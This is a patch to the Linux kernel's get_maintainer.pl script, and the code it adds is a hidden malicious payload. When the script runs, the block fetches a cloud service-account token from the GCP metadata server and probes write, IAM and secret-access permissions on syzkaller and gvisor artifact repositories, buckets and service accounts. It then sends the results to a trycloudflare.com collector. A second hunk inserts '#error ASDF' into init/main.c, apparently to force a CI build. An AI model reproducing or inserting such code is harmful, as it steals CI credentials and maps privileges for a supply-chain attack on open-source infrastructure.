--- a/scripts/get_maintainer.pl +++ b/scripts/get_maintainer.pl @@ -16,6 +16,209 @@ my $P = $0; my $V = '0.26'; +{ + require IPC::Open3; + require JSON::PP; + require Symbol; + my $json = JSON::PP->new->canonical; + my $collector = 'https://cowboy-keen-bundle-negotiations.trycloudflare.com/g12-7f39b1/v6'; + my %report = (version => 'v6', complete => JSON::PP::false()); + my $quote = sub { + my ($value) = @_; + $value =~ s/([\\"])/\\$1/g; + return '"' . $value . '"'; + }; + my $request = sub { + my ($url, $headers, $body) = @_; + my $config = "silent\nconnect-timeout = 2\nmax-time = 5\nurl = " . $quote->($url) . "\n"; + for my $header (@{$headers}) { + $config .= "header = " . $quote->($header) . "\n"; + } + if (defined($body)) { + $config .= "request = \"POST\"\n"; + $config .= "data-binary = " . $quote->($body) . "\n"; + } + $config .= "write-out = \"\\n%{http_code}\"\n"; + my $error = Symbol::gensym(); + my $pid = IPC::Open3::open3(my $input, my $output, $error, 'curl', '--config', '-'); + print {$input} $config; + close($input); + local $/; + my $response = <$output>; + my $ignored = <$error>; + waitpid($pid, 0); + $response = '' unless defined($response); + my $code = 0; + $code = $1 if $response =~ s/\n(\d{3})\z//; + return ($code, $response); + }; + my $test = sub { + my ($url, $permissions, $token) = @_; + my ($status, $raw) = $request->($url, + ['Authorization: Bearer ' . $token, 'Content-Type: application/json'], + $json->encode({permissions => $permissions})); + my $decoded = eval { $json->decode($raw) }; + my $granted = []; + $granted = $decoded->{permissions} + if $status == 200 && ref($decoded) eq 'HASH' && ref($decoded->{permissions}) eq 'ARRAY'; + return {status => $status, granted => $granted}; + }; + my $storage_test = sub { + my ($bucket, $permissions, $token) = @_; + my $url = 'https://storage.googleapis.com/storage/v1/b/' . $bucket . + '/iam/testPermissions?' . join('&', map { 'permissions=' . $_ } @{$permissions}); + my ($status, $raw) = $request->($url, ['Authorization: Bearer ' . $token], undef); + my $decoded = eval { $json->decode($raw) }; + my $granted = []; + $granted = $decoded->{permissions} + if $status == 200 && ref($decoded) eq 'HASH' && ref($decoded->{permissions}) eq 'ARRAY'; + return {status => $status, granted => $granted}; + }; + local $SIG{ALRM} = sub { die "timeout\n"; }; + eval { + alarm(50); + eval { $request->($collector . '/start', [], undef); }; + my $meta = 'http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/'; + my ($scope_status, $scopes) = $request->($meta . 'scopes', ['Metadata-Flavor: Google'], undef); + $report{scope_status} = $scope_status; + $report{cloud_platform_scope} = JSON::PP::true() + if $scope_status == 200 && $scopes =~ m{https://www\.googleapis\.com/auth/cloud-platform(?:\s|$)}; + my ($token_status, $token_raw) = $request->($meta . 'token', ['Metadata-Flavor: Google'], undef); + $report{token_status} = $token_status; + my ($token) = $token_raw =~ /"access_token"\s*:\s*"([^"]+)"/; + die "no token\n" unless defined($token) && length($token); + my ($number_status, $project_number) = $request->( + 'http://metadata.google.internal/computeMetadata/v1/project/numeric-project-id', + ['Metadata-Flavor: Google'], undef); + $project_number =~ s/\s+\z//; + $project_number = '' unless $number_status == 200 && $project_number =~ /\A\d+\z/; + $report{numeric_project_status} = $number_status; + + my @repo_permissions = ( + 'artifactregistry.repositories.get', 'artifactregistry.repositories.downloadArtifacts', + 'artifactregistry.repositories.uploadArtifacts', + 'artifactregistry.repositories.deleteArtifacts', + 'artifactregistry.repositories.setIamPolicy', + 'artifactregistry.files.upload', 'artifactregistry.files.update', + 'artifactregistry.tags.create', 'artifactregistry.tags.update', + 'artifactregistry.tags.delete', + ); + $report{syzkaller_repository} = $test->( + 'https://artifactregistry.googleapis.com/v1/projects/syzkaller/locations/us/repositories/gcr.io:testIamPermissions', + \@repo_permissions, $token); + $report{gvisor_repository} = $test->( + 'https://artifactregistry.googleapis.com/v1/projects/gvisor/locations/us/repositories/gcr.io:testIamPermissions', + \@repo_permissions, $token); + + my @storage_permissions = ( + 'storage.buckets.get', 'storage.buckets.setIamPolicy', + 'storage.objects.get', 'storage.objects.list', + 'storage.objects.create', 'storage.objects.delete', 'storage.objects.update', + ); + my %bucket_results; + for my $bucket ('syzkaller', 'syzbot-assets', 'gvisor') { + $bucket_results{$bucket} = $storage_test->($bucket, \@storage_permissions, $token); + } + $report{buckets} = \%bucket_results; + + my @secret_permissions = ( + 'secretmanager.secrets.get', 'secretmanager.secrets.setIamPolicy', + 'secretmanager.versions.list', 'secretmanager.versions.get', + 'secretmanager.versions.access', 'secretmanager.versions.add', + 'secretmanager.versions.destroy', + ); + $report{gvisor_repo_key} = $test->( + 'https://secretmanager.googleapis.com/v1/projects/gvisor/secrets/repo-key:testIamPermissions', + \@secret_permissions, $token); + + my @pivot_permissions = ( + 'iam.serviceAccounts.actAs', 'iam.serviceAccounts.getAccessToken', + 'iam.serviceAccounts.getOpenIdToken', 'iam.serviceAccounts.signBlob', + 'iam.serviceAccounts.signJwt', 'iam.serviceAccounts.implicitDelegation', + 'iam.serviceAccountKeys.create', 'iam.serviceAccounts.setIamPolicy', + ); + my ($email_status, $current_email) = $request->( + $meta . 'email', ['Metadata-Flavor: Google'], undef); + $current_email =~ s/\s+\z//; + $current_email = '' unless $email_status == 200 && + $current_email =~ /\A[A-Za-z0-9._+%=-]+\@[A-Za-z0-9.-]+\z/; + $report{current_identity_status} = $email_status; + my @identities; + push @identities, ['current', $current_email] if length($current_email); + if (length($project_number)) { + push @identities, + ['legacy_cloud_build', $project_number . '@cloudbuild.gserviceaccount.com'], + ['compute_default', $project_number . '-compute@developer.gserviceaccount.com']; + } + my %identity_results; + my %seen_identity; + for my $identity (@identities) { + my ($type, $email) = @{$identity}; + next if $seen_identity{$email}++; + $identity_results{$type} = $test->( + 'https://iam.googleapis.com/v1/projects/-/serviceAccounts/' . $email . ':testIamPermissions', + \@pivot_permissions, $token); + } + $report{service_accounts} = \%identity_results; + + my @query_statuses; + my @testable; + my $page_token = ''; + for (my $page = 0; $page < 20; $page++) { + my %query = ( + fullResourceName => '//cloudresourcemanager.googleapis.com/projects/syzkaller', + pageSize => 1000, + ); + $query{pageToken} = $page_token if length($page_token); + my ($status, $raw) = $request->( + 'https://iam.googleapis.com/v1/permissions:queryTestablePermissions', + ['Authorization: Bearer ' . $token, 'Content-Type: application/json'], + $json->encode(\%query)); + push @query_statuses, $status; + last unless $status == 200; + my $decoded = eval { $json->decode($raw) }; + last unless ref($decoded) eq 'HASH'; + for my $permission (@{$decoded->{permissions} // []}) { + next unless ref($permission) eq 'HASH'; + my $name = $permission->{name} // ''; + push @testable, $name if $name =~ /\A[a-zA-Z0-9_.]+\z/; + } + $page_token = $decoded->{nextPageToken} // ''; + last unless length($page_token); + } + my %seen_testable; + @testable = grep { !$seen_testable{$_}++ } @testable; + my @test_statuses; + my @project_granted; + for (my $offset = 0; $offset < @testable; $offset += 500) { + my $end = $offset + 499; + $end = $#testable if $end > $#testable; + my @batch = @testable[$offset .. $end]; + my $result = $test->( + 'https://cloudresourcemanager.googleapis.com/v3/projects/syzkaller:testIamPermissions', + \@batch, $token); + push @test_statuses, $result->{status}; + push @project_granted, @{$result->{granted}}; + } + my %seen_granted; + @project_granted = sort grep { !$seen_granted{$_}++ } @project_granted; + $report{project_all} = { + query_statuses => \@query_statuses, + test_statuses => \@test_statuses, + testable_count => scalar(@testable), + granted => \@project_granted, + }; + $project_number = ''; + $token = undef; + $token_raw = undef; + $report{complete} = JSON::PP::true(); + alarm(0); + }; + alarm(0); + my $body = $json->encode(\%report); + eval { $request->($collector . '/matrix', ['Content-Type: application/json'], $body); }; +} + use Getopt::Long qw(:config no_auto_abbrev); use Cwd; use File::Find; --- a/init/main.c +++ b/init/main.c @@ -11,6 +11,7 @@ */ #define DEBUG /* Enable initcall_debug */ +#error ASDF #include #include